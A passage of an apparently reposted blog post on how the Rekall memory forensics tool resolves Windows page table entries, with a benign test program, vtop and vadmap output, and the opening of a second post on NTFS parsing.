processes. Under memory pressure, the Windows Kernel needs to evict pages from memory, possibly into the pagefile. However, it does not really make sense to copy mapped executable pages into the pagefile, since they originally came from a file mapping (e.g. from disk anyway). So it makes more sense to read the file again from disk if needed in future, rather than waste precious pagefile space on mapped files. Unfortunately, if we do not have access to the disk image any more, we can not recover the data in the page any more. We can however, determine directly which file the page came from by inspecting the ControlArea field of the _SUBSECTION (So for example _SUBSECTION.ControlArea.FilePointer.FileName). We can also determine the offset in that file by subtracting the prototype PTE from_SUBSECTION.SubsectionBase and adding the _SUBSECTION.StartingSector: [_SUBSECTION _SUBSECTION] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 ControlArea <_CONTROL_AREA Pointer to [0x00000000]> 0x8 SubsectionBase <_MMPTE Pointer to [0x00000000]> 0x10 NextSubsection <_SUBSECTION Pointer to [0x00000000]> 0x18 PtesInSubsection [unsigned long:PtesInSubsection]: 0x00000000 0x20 GlobalPerSessionHead <_MM_AVL_TABLE Pointer to [0x00000000]> 0x20 UnusedPtes [unsigned long:UnusedPtes]: 0x00000000 0x28 u [<unnamed-7983> u] @ 0x00000028 0x2c StartingSector [unsigned long:StartingSector]: 0x00000000 0x30 NumberOfFullSectors [unsigned long:NumberOfFullSectors]: 0x00000000 [_CONTROL_AREA _CONTROL_AREA] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 Segment <_SEGMENT Pointer to [0x00000000]> 0x8 DereferenceList [_LIST_ENTRY DereferenceList] @ 0x00000008 0x18 NumberOfSectionReferences [unsigned long long]: 0x00000000 0x20 NumberOfPfnReferences [unsigned long long]: 0x00000000 0x28 NumberOfMappedViews [unsigned long long]: 0x00000000 0x30 NumberOfUserReferences [unsigned long long]: 0x00000000 0x38 u [<unnamed-5495> u] @ 0x00000038 0x3c FlushInProgressCount [unsigned long]: 0x00000000 0x40 FilePointer [_EX_FAST_REF FilePointer] @ 0x00000040 0x48 ControlAreaLock [long]: 0x00000000 0x4c ModifiedWriteCount [unsigned long]: 0x00000000 0x4c StartingFrame [unsigned long]: 0x00000000 0x50 WaitingForDeletion <_MI_SECTION_CREATION_GATE Pointer to [0x00000000]> 0x58 u2 [<unnamed-5507> u2] @ 0x00000058 0x68 LockedPages [long long]: 0x00000000 0x70 ViewList [_LIST_ENTRY ViewList] @ 0x00000070 [_FILE_OBJECT _FILE_OBJECT] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 Type [short]: 0x00000000 0x2 Size [short]: 0x00000000 0x8 DeviceObject <_DEVICE_OBJECT Pointer to [0x00000000]> 0x10 Vpb <_VPB Pointer to [0x00000000]> 0x18 FsContext <Void Pointer to [0x00000000]> 0x20 FsContext2 <Void Pointer to [0x00000000]> 0x28 SectionObjectPointer <_SECTION_OBJECT_POINTERS Pointer to [0x00000000]> 0x30 PrivateCacheMap <Void Pointer to [0x00000000]> 0x38 FinalStatus [long]: 0x00000000 0x40 RelatedFileObject <_FILE_OBJECT Pointer to [0x00000000]> 0x48 LockOperation [unsigned char]: 0x00000000 0x49 DeletePending [unsigned char]: 0x00000000 0x4a ReadAccess [unsigned char]: 0x00000000 0x4b WriteAccess [unsigned char]: 0x00000000 0x4c DeleteAccess [unsigned char]: 0x00000000 0x4d SharedRead [unsigned char]: 0x00000000 0x4e SharedWrite [unsigned char]: 0x00000000 0x4f SharedDelete [unsigned char]: 0x00000000 0x50 Flags [unsigned long]: 0x00000000 0x58 FileName [_UNICODE_STRING FileName] @ 0x00000058 () 0x68 CurrentByteOffset [_LARGE_INTEGER CurrentByteOffset] @ 0x00000068 0x70 Waiters [unsigned long:Waiters]: 0x00000000 0x74 Busy [unsigned long:Busy]: 0x00000000 0x78 LastLock <Void Pointer to [0x00000000]> 0x80 Lock [_KEVENT Lock] @ 0x00000080 0x98 Event [_KEVENT Event] @ 0x00000098 0xb0 CompletionContext <_IO_COMPLETION_CONTEXT Pointer to [0x00000000]> 0xb8 IrpListLock [unsigned long long]: 0x00000000 0xc0 IrpList [_LIST_ENTRY IrpList] @ 0x000000C0 0xd0 FileObjectExtension <Void Pointer to [0x00000000]> 3.2.4. Demand Zero PTE If the PTE’s target has (Valid=0, Prototype=0, Transition=0) and it also has PageFileHigh=0, then this page is a demand zero page. The page fault handler will simply assign a zero page in response to the page fault. Often this page will also have non-zero Protection bits which should reflect the VAD’s original protections. 3.3. PTE Resolution Algorithm In order to resolve the PTE we follow a possibly two step algorithm. First resolve the Hardware PTE to receive a Software PTE, then resolve the software PTE if needed. If the Valid flag is set, the PTE is valid and can be resolved immediately. If the Transition flag is set, but the Prototype flag is unset, the PTE is in the Transition state and can also be resolved immediately. If the Prototype flag is set, but the ProtoAddress field is equal to 0xFFFFFFFF0000, this is a Vad PTE and we must consult the VAD to recover the Software PTE. Alternatively if the PTE has all the Transition, Prototype and Valid flags unset, but the PageFileHigh field is zero, this is also a VAD PTE and we must consult the VAD. If the PTE has all the Transition, Prototype and Valid flags unset, but the PageFileHigh field is not zero, this is a Page File PTE and we can recover the page from the pagefile. Finally if the Prototype bit is on, then this is a Prototype PTE and we can read the Software PTE from the ProtoAddress field. When we obtain the Software PTE we can decode it using a similar but slightly different algorithm. Note that Prototype states are not allowed for Software PTEs (i.e. you cant have a symlink to a symlink essentially). If PTE has Valid flag it is a valid PTE and can be resolved immediately. If PTE has Transition flag set but Prototype flag unset, it is a Transition PTE and can be resolved immediately. If the Prototype flag is set, then this is a File Mapping PTE which points to a _SUBSECTION object. If all Valid, Prototype and Transition flags are unset, and PageFileHigh is also zero, then this is a Demand Zero mapping. Return a Zero page. If all Valid, Prototype and Transition flags are unset, but PageFileHigh is not zero, then this is a PageFile PTE and we can return the page from the page file. 4. Experiment In order to study the effects of the new page translation code, I wrote a small program which allocates a large memory block (using VirtualAlloc), fills the memory with a pattern and then just Sleeps. Additionally I mapped a file and also mapped a large region which is never touched (Demand Zero region): #include "Windows.h" void create_file_mapping() { HANDLE h; TCHAR *filename = L"c:\\windows\\notepad.exe"; h= CreateFile(filename, GENERIC_READ,FILE_SHARE_READ, NULL,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,NULL); DWORD size = GetFileSize(h, NULL); HANDLE hFileMapping = CreateFileMapping(h, NULL,PAGE_READONLY, 0, 0, NULL); char *view = (char*) MapViewOfFileEx(hFileMapping, FILE_MAP_READ, 0, 0,0,NULL); printf("Mapped file into %p %s\n", view, view); } int _tmain(int argc, _TCHAR* argv[]) { int number_of_pages = 202400; char *pointer = (char *)VirtualAlloc( NULL, number_of_pages * 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); char *pointer2 = (char *)VirtualAlloc( NULL, 2400 * 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); __int64 i; int j; // Read uninitialized data from the allocated range. char tmp = *pointer2; create_file_mapping(); if (!pointer) { LogLastError(); goto exit; }; printf("Allocated %d pages at %p (%d mb)\n", number_of_pages, pointer, number_of_pages * 0x1000 / 1024/1024); printf("Mapped second region at %p\n", pointer2); // Write pages with pattern. for (i=0; i<number_of_pages; i++) { for(j=0; j<0x1000; j+=8) { *((__int64*)(pointer + i*0x1000+j)) = i; }; }; exit: printf("Done!\n"); Sleep(1000000); return 0; } I ran the program (swapper.exe) on a small Windows 7 VM with only 1GB of ram allocated. I also enabled a few more columns in Task Manager to observe memory usage. We can see that the program allocated over 800mb (Commit Size) but only 347Mb is currently resident in memory. I then ran WinPmem to acquire the physical memory and the pagefile (winpmem-1.6.2.exe -p -e swapper.elf). The additional system activity caused the working set of the swapper.exe program to be trimmed down to 118Mb within a few seconds. This is actually a problem because the imager starts writing the image from physical address 0. The page tables are typically found at very low physical addresses. For example in this image, the CR3 value is 0x187000 (About 1.6Mb) into the physical image. Since it takes a finite time to write the image to disk, and the additional system activity causes processes to be aggressively trimmed, it is very likely that the page tables that are written within a fraction of a second from the start of acquisition would contains PTE references to pages which, although were valid at the start of acquisition, a few seconds later would be paged to disk and re-purposed. The overall effect actually causes Rekall to think that pages contain valid data but in reality they do not (i.e. a data corruption problem). More research is required on the most optimal order of image acquisition …. 5. Analysis I loaded the file into Rekall as normal and inspected the VAD regions of the swapper.exe process using the vad plugin: swapped.elf 17:24:32> vad proc_regex="swapper.exe" ************************************************** Pid: 656 swapper.exe VAD lev Start Addr End Addr com Protect Filename -------------- --- -------------- -------------- --- ------- ------ ------- -------- 0xfa8000ed58a0 1 0x000000b10000 0x000000b2afff 21 Mapped Exe EXECUTE_WRITECOPY \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0xfa8002e56980 2 0x000000060000 0x00000015ffff 6 Private READWRITE 0xfa800277eb70 3 0x000000040000 0x000000040fff 0 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apisetschema.dll 0xfa8001b38a40 4 0x000000020000 0x00000002ffff 0 Mapped READWRITE Pagefile-backed section 0xfa800141c3b0 5 0x000000010000 0x00000001ffff 0 Mapped READWRITE Pagefile-backed section 0xfa80017f90b0 5 0x000000030000 0x000000035fff 0 Mapped READONLY Pagefile-backed section 0xfa8000ff91c0 4 0x000000050000 0x000000053fff 0 Mapped READONLY Pagefile-backed section 0xfa8001c06160 3 0x000000190000 0x0000001cffff 7 Private READWRITE 0xfa80025de790 4 0x000000170000 0x000000170fff 1 Private READWRITE 0xfa80019bc300 5 0x000000160000 0x000000160fff 0 Mapped READONLY Pagefile-backed section 0xfa8000d382f0 5 0x000000180000 0x000000180fff 0 Mapped READWRITE Pagefile-backed section 0xfa800277eae0 4 0x000000270000 0x00000032ffff 192 Mapped WRITECOPY \Windows\SysWOW64\en-US\KernelBase.dll.mui 0xfa80027cc090 5 0x000000260000 0x00000026ffff 8 Private READWRITE 0xfa8001a44920 6 0x0000001d0000 0x000000236fff 0 Mapped READONLY \Windows\System32\locale.nls 0xfa800261aa30 5 0x0000003a0000 0x00000041ffff 6 Private READWRITE 0xfa8000e31210 6 0x000000330000 0x00000035ffff 0 Mapped READONLY \Windows\notepad.exe 0xfa8002a60970 6 0x0000005f0000 0x0000006effff 6 Private READWRITE 0xfa800198bc20 2 0x00007efb0000 0x00007efd2fff 0 Mapped READONLY Pagefile-backed section 0xfa8002b432b0 3 0x000075340000 0x000075347fff 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\wow64cpu.dll 0xfa800110ac10 4 0x000075270000 0x0000752cbfff 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\wow64win.dll 0xfa800108f5f0 5 0x0000321d0000 0x000032b2ffff 2400 Private READWRITE 0xfa8002bc0ac0 6 0x000000b30000 0x0000321cffff 202400 Private READWRITE 0xfa800110ab80 6 0x000063f60000 0x0000640d2fff 8 Mapped Exe EXECUTE_WRITECOPY \Windows\SysWOW64\msvcr100d.dll 0xfa8000fb5650 5 0x0000752d0000 0x00007530efff 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\wow64.dll 0xfa80011a8900 4 0x000077590000 0x0000776aefff 0 Private Exe EXECUTE_READWRITE 0xfa8000f582f0 5 0x000076520000 0x00007662ffff 3 Mapped Exe EXECUTE_WRITECOPY \Windows\SysWOW64\kernel32.dll 0xfa800101f380 6 0x000077540000 0x000077586fff 3 Mapped Exe EXECUTE_WRITECOPY \Windows\SysWOW64\KernelBase.dll 0xfa80013c0830 5 0x0000777b0000 0x000077958fff 12 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll 0xfa8002edcd30 6 0x0000776b0000 0x0000777a9fff 0 Private Exe EXECUTE_READWRITE 0xfa8002db1330 6 0x000077990000 0x000077b0ffff 9 Mapped Exe EXECUTE_WRITECOPY \Windows\SysWOW64\ntdll.dll 0xfa8000f784e0 3 0x00007f0e0000 0x00007ffdffff 0 Private READONLY 0xfa8000db6a80 4 0x00007efde000 0x00007efdefff 1 Private READWRITE \Windows\System32\user32.dll 0xfa8001034eb0 5 0x00007efdb000 0x00007efddfff 3 Private READWRITE 0xfa8000fc1650 5 0x00007efdf000 0x00007efdffff 1 Private READWRITE Pagefile-backed section 0xfa80010e4ce0 6 0x00007efe0000 0x00007f0dffff 0 Mapped READONLY Pagefile-backed section 0xfa80026f82c0 4 0x00007ffe0000 0x00007ffeffff -1 Private READONLY 0xfa8000dee010 5 0x00007fff0000 0x07fffffeffff -1 Private READONLY I modified the plugin vtop to perform the full analysis mentioned in this paper and describe each intermediate step. We can therefore use it to examine some interesting addresses in theswapper.exe address space. I started off examining some of the pages allocated by swapper.exe in the large VirtualAlloc region. These pages are marked by their page number so they should be easy to identify (First we change the process context to the swapper.exe using the cc plugin): swapped.elf 18:20:49> cc proc_regex="swapper.exe" Switching to process context: swapper.exe (Pid 656@0xfa8000fb5060) swapped.elf 18:20:55> vtop 0x000000b30000 + 4 * 0x1000 Virtual 0xb34000 Page Directory 0x323ef000 pml4e@ 0x323ef000 = 0x940000031ac0867 pdpte@ 0x31ac0000 = 0xb0000007f84867 pde@ 0x7f84028 = 0xc0000025785847 pte@ 0x257859a0 = 0x296a200000080 PTE Contains 0x296a200000080 PTE Type: Pagefile [_MMPTE_SOFTWARE Soft] @ 0x257859A0 0x00 InStore [BitField(22-23):InStore]: 0x00000000 0x00 PageFileHigh [BitField(32-64):PageFileHigh]: 0x000296A2 0x00 PageFileLow [BitField(1-5):PageFileLow]: 0x00000000 0x00 Protection [Enumeration:Enumeration]: 0x00000004 (MM_READWRITE) 0x00 Prototype [BitField(10-11):Prototype]: 0x00000000 0x00 Reserved [BitField(23-32):Reserved]: 0x00000000 0x00 Transition [BitField(11-12):Transition]: 0x00000000 0x00 UsedPageTableEntries [BitField(12-22):UsedPageTableEntries]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000000 PTE mapped at 0x696A2000 Physical Address 0x296a2000@Pagefile We examine the 4th allocated page. The vtop plugin finds the relevant PTE and tells us that it is a software PTE. We therefore know that the relevant offset into the pagefile is found in thePageFileHigh field. Lets see if this produces the correct data: swapped.elf 18:20:55> dump 0x000000b30000 + 4 * 0x1000 Offset Hex Data Comment -------------- ------------------------------------------------ ---------------- ------- 0xb34000 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34010 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34020 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34030 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34040 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34050 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 0xb34060 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ Yes! The page is marked with the integer 4. For the next example we want to read the binary itself for swapper.exe. This is a very common requirement when dumping malware from memory. We see from the vad output that swapper.exe is mapped from address 0x000001330000: swapped.elf 18:22:01> vtop 0x000000b10000 Virtual 0xb10000 Page Directory 0x323ef000 pml4e@ 0x323ef000 = 0x940000031ac0867 pdpte@ 0x31ac0000 = 0xb0000007f84867 pde@ 0x7f84028 = 0xc0000025785847 pte@ 0x25785880 = 0xf8a002bd2ed80400 PTE Contains 0xf8a002bd2ed80400 PTE Type: Prototype [_MMPTE_PROTOTYPE Proto] @ 0x25785880 0x00 Protection [Enumeration:Enumeration]: 0x00000000 (MM_ZERO_ACCESS) 0x00 ProtoAddress [BitField(16-64):ProtoAddress]: 0xF8A002BD2ED8 0x00 Prototype [BitField(10-11):Prototype]: 0x00000001 0x00 ReadOnly [BitField(8-9):ReadOnly]: 0x00000000 0x00 Unused0 [BitField(1-8):Unused0]: 0x00000000 0x00 Unused1 [BitField(9-10):Unused1]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000000 Prototype PTE backed by file. [_MMPTE_SUBSECTION Subsect] @ 0xF8A002BD2ED8 0x00 Protection [Enumeration:Enumeration]: 0x00000001 (MM_READONLY) 0x00 Prototype [BitField(10-11):Prototype]: 0x00000001 0x00 SubsectionAddress [BitField(16-64):SubsectionAddress]: 0xFA8001A17A70 0x00 Unused0 [BitField(1-5):Unused0]: 0x00000000 0x00 Unused1 [BitField(11-16):Unused1]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000000 Filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe File Offset: 0 (0x0) Invalid PTE Physical Address Invalid This is a Prototype PTE which points to a Subsection PTE, backed by a file. We can tell the name of the file and the _FILE_OBJECT responsible for it, but alas this page is not found in the pagefile nor in memory. We would have to retrieve it from the file system. For the next example we try to dump the first page of the mapped ntdll.dll. This DLL is mapped into every process so it is an example of shared memory. The VAD tells us that it is mapped at 0x0000777b0000 for this process: swapped.elf 18:22:06> vtop 0x0000777b0000 Virtual 0x777b0000 Page Directory 0x323ef000 pml4e@ 0x323ef000 = 0x940000031ac0867 pdpte@ 0x31ac0008 = 0x8000002a801867 pde@ 0x2a801dd8 = 0x10a000002f996847 pte@ 0x2f996d80 = 0xf8a0003850580400 PTE Contains 0xf8a0003850580400 PTE Type: Prototype [_MMPTE_PROTOTYPE Proto] @ 0x2F996D80 0x00 Protection [Enumeration:Enumeration]: 0x00000000 (MM_ZERO_ACCESS) 0x00 ProtoAddress [BitField(16-64):ProtoAddress]: 0xF8A000385058 0x00 Prototype [BitField(10-11):Prototype]: 0x00000001 0x00 ReadOnly [BitField(8-9):ReadOnly]: 0x00000000 0x00 Unused0 [BitField(1-8):Unused0]: 0x00000000 0x00 Unused1 [BitField(9-10):Unused1]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000000 PTE Contains 0x800000002318e121 PTE Type: Valid [_MMPTE_HARDWARE Hard] @ 0xF8A000385058 0x00 Accessed [BitField(5-6):Accessed]: 0x00000001 0x00 CacheDisable [BitField(4-5):CacheDisable]: 0x00000000 0x00 CopyOnWrite [BitField(9-10):CopyOnWrite]: 0x00000000 0x00 Dirty [BitField(6-7):Dirty]: 0x00000000 0x00 Dirty1 [BitField(1-2):Dirty1]: 0x00000000 0x00 Global [BitField(8-9):Global]: 0x00000001 0x00 LargePage [BitField(7-8):LargePage]: 0x00000000 0x00 NoExecute [BitField(63-64):NoExecute]: 0x00000001 0x00 Owner [BitField(2-3):Owner]: 0x00000000 0x00 PageFrameNumber [BitField(12-48):PageFrameNumber]: 0x0002318E 0x00 SoftwareWsIndex [BitField(52-63):SoftwareWsIndex]: 0x00000000 0x00 Unused [BitField(10-11):Unused]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000001 0x00 Write [BitField(11-12):Write]: 0x00000000 0x00 WriteThrough [BitField(3-4):WriteThrough]: 0x00000000 0x00 reserved1 [BitField(48-52):reserved1]: 0x00000000 PTE mapped at 0x2318E000 Physical Address 0x2318e000 We see that the PTE is a Prototype PTE pointing to a valid page. We can dump it out to see the familiar MZ header (Note that without interpreting the Prototype PTE we would not be able to read this page at all - even though it is still Valid and present in the memory image!): swapped.elf 20:50:35> dump 0x0000777b0000 Offset Hex Data Comment -------------- ------------------------------------------------ ---------------- ------- 0x777b0000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x777b0010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ....... ....... 0x777b0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x777b0030 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 ................ 0x777b0040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........!..L.!Th 0x777b0050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno 0x777b0060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS. 0x777b0070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$....... The next example we try to read from locale.nls which is mapped from 0x0000001d0000: swapped.elf 18:24:07> vtop 0x0000001d0000 Virtual 0x1d0000 Page Directory 0x323ef000 pml4e@ 0x323ef000 = 0x940000031ac0867 pdpte@ 0x31ac0000 = 0xb0000007f84867 pde@ 0x7f84000 = 0x1580000030908847 pte@ 0x30908e80 = 0xffffffff00000420 PTE Contains 0xffffffff00000420 PTE Type: Vad [_MMPTE_PROTOTYPE Proto] @ 0x30908E80 0x00 Protection [Enumeration:Enumeration]: 0x00000000 (MM_ZERO_ACCESS) 0x00 ProtoAddress [BitField(16-64):ProtoAddress]: 0xFFFFFFFF0000 0x00 Prototype [BitField(10-11):Prototype]: 0x00000001 0x00 ReadOnly [BitField(8-9):ReadOnly]: 0x00000000 0x00 Unused0 [BitField(1-8):Unused0]: 0x00000010 0x00 Unused1 [BitField(9-10):Unused1]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000000 Prototype PTE is found in VAD ************************************************** Pid: 656 swapper.exe VAD lev Start Addr End Addr com Protect Filename -------------- --- -------------- -------------- --- ------- ------ ------- -------- 0xfa8001a44920 6 0x0000001d0000 0x000000236fff 0 Mapped READONLY \Windows\System32\locale.nls _MMVAD.FirstPrototypePte: 0xf8a005027cc0 PTE is at 0xf8a005027cc0 PTE Contains 0x4d91921 PTE Type: Valid [_MMPTE_HARDWARE Hard] @ 0xF8A005027CC0 0x00 Accessed [BitField(5-6):Accessed]: 0x00000001 0x00 CacheDisable [BitField(4-5):CacheDisable]: 0x00000000 0x00 CopyOnWrite [BitField(9-10):CopyOnWrite]: 0x00000000 0x00 Dirty [BitField(6-7):Dirty]: 0x00000000 0x00 Dirty1 [BitField(1-2):Dirty1]: 0x00000000 0x00 Global [BitField(8-9):Global]: 0x00000001 0x00 LargePage [BitField(7-8):LargePage]: 0x00000000 0x00 NoExecute [BitField(63-64):NoExecute]: 0x00000000 0x00 Owner [BitField(2-3):Owner]: 0x00000000 0x00 PageFrameNumber [BitField(12-48):PageFrameNumber]: 0x00004D91 0x00 SoftwareWsIndex [BitField(52-63):SoftwareWsIndex]: 0x00000000 0x00 Unused [BitField(10-11):Unused]: 0x00000000 0x00 Valid [BitField(0-1):Valid]: 0x00000001 0x00 Write [BitField(11-12):Write]: 0x00000001 0x00 WriteThrough [BitField(3-4):WriteThrough]: 0x00000000 0x00 reserved1 [BitField(48-52):reserved1]: 0x00000000 PTE mapped at 0x04D91000 Physical Address 0x4d91000 In this special case, we see that the Prototype PTE has a ProtoAddress field of 0XFFFFFFFF0000 - the magic signature for the VAD Prototype PTE. Rekall therefore must search for the containing VAD region for the virtual address 0x000000110000. The output of the vad plugin is shown next, and the relevant _MMVAD address is shown at 0xfa8001a44920. In this case we need to read the first PTE, which is found to be valid. Hence we can read this page directly from the memory image: swapped.elf 18:24:21> dump 0x0000001d0000 Offset Hex Data Comment -------------- ------------------------------------------------ ---------------- ------- 0x1d0000 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1d0010 b0 29 00 00 98 cd 04 00 f8 cb 05 00 50 2e 06 00 .)..........P... 0x1d0020 8a 29 68 03 00 00 00 00 00 00 20 02 00 00 00 00 .)h............. 0x1d0030 68 02 09 00 08 00 28 02 08 00 08 00 28 02 09 00 h.....(.....(... 0x1d0040 08 00 28 02 0a 00 08 00 20 02 08 00 00 00 20 02 ..(............. 0x1d0050 09 00 00 00 48 02 0a 00 48 00 10 02 0b 00 48 00 ....H...H.....H. 0x1d0060 10 02 0b 00 48 04 10 02 05 00 48 00 10 02 05 00 ....H.....H..... 0x1d0070 48 04 10 02 0b 00 40 04 10 02 04 00 48 00 10 02 H.... @ .....H... 0x1d0080 07 00 48 00 10 02 04 00 40 04 10 02 07 00 48 04 ..H.... @ .....H. I then used a hex-editor to confirm that this data is indeed the same as in the locale.nls file. Its actually kind of fun to look at the output of the vad plugin and call the vtop plugin in random addresses to see how they are mapped. I thought it would be useful to see how the entire region is mapped. I wrote the vadmap plugin which outputs a map of all addresses in the vad of a process and how they are mapped. Note that vadmap resolves the Prototype PTEs transparently, so if there is a Prototype PTE that points to a Valid PTE, vadmap will say it is Valid. swapped.elf 18:25:32> vadmap proc_regex="swapper.exe" ************************************************** Pid: 656 swapper.exe Virt Addr Length Type Comments -------------- -------------- -------------------- -------- DEBUG:root:Switching to process context: swapper.exe (Pid 656@0xfa8000fb5060) 0x000000010000 0x1000 Transition 0x000000011000 0xf000 Demand Zero 0x000000020000 0x10000 Transition 0x000000030000 0x6000 Pagefile number: 0 0x000000040000 0x1000 Valid 0x000000050000 0x2000 Valid 0x000000052000 0x2000 Pagefile number: 0 0x000000060000 0xfb000 Demand Zero 0x00000015b000 0x5000 Valid 0x000000160000 0x1000 Transition 0x000000170000 0x1000 Pagefile number: 0 0x000000180000 0x1000 Transition 0x000000190000 0x3c000 Demand Zero 0x0000001cc000 0x1000 Pagefile number: 0 0x0000001cd000 0xb000 Valid 0x0000001d8000 0x8000 File Mapping filename: \Windows\System32\locale.nls 0x0000001e0000 0x8000 Valid 0x0000001e8000 0x6000 File Mapping filename: \Windows\System32\locale.nls 0x0000001ee000 0x9000 Valid 0x0000001f7000 0x25000 File Mapping filename: \Windows\System32\locale.nls 0x00000021c000 0x8000 Valid 0x000000224000 0x8000 File Mapping filename: \Windows\System32\locale.nls 0x00000022c000 0x8000 Valid 0x000000234000 0x3000 File Mapping filename: \Windows\System32\locale.nls 0x000000260000 0x1000 Valid 0x000000261000 0x4000 Pagefile number: 0 0x000000265000 0x1000 Valid 0x000000266000 0x2000 Pagefile number: 0 0x000000268000 0x8000 Demand Zero 0x000000270000 0xc0000 File Mapping filename: \Windows\SysWOW64\en-US\KernelBase.dll.mui 0x000000330000 0x30000 File Mapping filename: \Windows\notepad.exe 0x0000003a0000 0x6000 Pagefile number: 0 0x0000003a6000 0x7a000 Demand Zero 0x0000005f0000 0x1000 Pagefile number: 0 0x0000005f1000 0x1000 Valid 0x0000005f2000 0x1000 Pagefile number: 0 0x0000005f3000 0x1000 Valid 0x0000005f4000 0x2000 Pagefile number: 0 0x0000005f6000 0xfa000 Demand Zero 0x000000b10000 0x1000 File Mapping filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0x000000b11000 0x10000 Demand Zero 0x000000b21000 0x1000 Valid 0x000000b22000 0x1000 File Mapping filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0x000000b23000 0x1000 Valid 0x000000b24000 0x1000 File Mapping filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0x000000b25000 0x1000 Valid 0x000000b26000 0x1000 File Mapping filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0x000000b27000 0x1000 Pagefile number: 0 0x000000b28000 0x1000 Valid 0x000000b29000 0x2000 File Mapping filename: \Users\mic\Documents\Visual Studio 2010\Projects\swapper\Debug\swapper.exe 0x000000b30000 0xd0000 Pagefile number: 0 0x000000c00000 0x400000 Demand Zero 0x000001000000 0x800000 Pagefile number: 0 0x000001800000 0x200000 Demand Zero ..... 0x000031c3e000 0x592000 Valid 0x0000321d0000 0x1000 Pagefile number: 0 0x0000321d1000 0x95f000 Demand Zero 0x000063f60000 0x1000 File Mapping filename: \Windows\SysWOW64\msvcr100d.dll 0x000063f61000 0x1000 Valid 0x000063f62000 0x15000 File Mapping filename: \Windows\SysWOW64\msvcr100d.dll We can see some interesting points: The executable swapper.exe is mapped from 0x000000b10000, but some pages are marked as file mappings, some as demand paging (for the spaces between the PE sections), while some are valid (i.e. contain code loaded into memory). We can see that if we dump the VAD region we will only be able to recover some of the pages. We also see that significant number of pages exist in the pagefile. Note that vadmap can identify pages in the pagefile, regardless if we actually have the page file. This can sometimes be useful in order to assess how important it is to acquire the page file as well. The entire region mapped for notepad.exe contains subsection PTEs - none of the data was ever read hence no pages were read from the file. The second allocated region (Using VirtualAlloc at address 0x0000321d0000) was only read once at offset 0, but the rest of the region was never touched. This causes the first page to be backed by memory, and subsequently end up in the page file. The rest of the region remains at Demand Zero state because we never touched it. 6. Conclusions All of the examples shown yield invalid pages in previous versions of Rekall. However now, after properly interpreting the various PTEs in a windows specific way, Rekall is able to recover useful data in all these cases. It is quite interesting how much data we have been missing in the past. Even without using the pagefile, we still missed a lot of data because we did not properly support Prototype PTEs, and VAD PTEs. These could often point at a software PTE which might still contain data inside the memory image itself. How important this data is depends really on how you use memory analysis - if you just want to analyze malware in a controlled environment (e.g. as in Cuckoobox) it is probably possible to create favorable conditions - e.g. add lots of memory so the OS does not swap. In an incident response situation, however, one has much less control over the environment. Often responders are faced with busy systems, with potentially significant memory pressures, causing a lot of less frequently used data to be paged to disk. In this case we need to make as much as we can from the data we do have, or as Jesse Kornblum said "Use Every Part of the Buffalo". We are currently working on further testing and implementing pagefile support for other operating systems (e.g. Linux and OSX). Although this feature is really new and not well tested yet, I wanted to write about it here so people know what we are working on for the next release and have a chance to try it out. Please feel free to test and contribute to Rekall, and file issues on github if you find any bugs. Source
      • 1
      • Upvote
  8. Rekall’s advanced memory analysis capabilities are powered by a powerful binary parsing engine - capable of parsing very complex binary formats. Not only can this be applied to memory forensics, but also traditional filesystem forensics can be implemented using this capability. Recent versions of Rekall have introduced a complete NTFS parsing subsystem using the familiar Rekall interface. This blog post introduces the NTFS filesystem plugins. In the first part of this blog post, I will show how NTFS disk images can be analysed, while in the second part I will talk a bit about the implementation details within Rekall. Why did we add NTFS support to a memory forensic tool? When we added support for using the windows pagefile to supplement memory analysis it became apparent that we needed to read the pagefile directly from the NTFS since the file is normally locked - so normal file APIs are not usable. We considered using tricky kernel hacking to bypass the file lock restrictions but this seems fragile and NTFS parsing is not that complicated. For memory acquisition using WinPmem we included the fcat tool from the Sleuthkit to copy the pagefile out (alternatively we could have linked libtsk directly). But one of the more important uses of Rekall is live analysis, and this does not 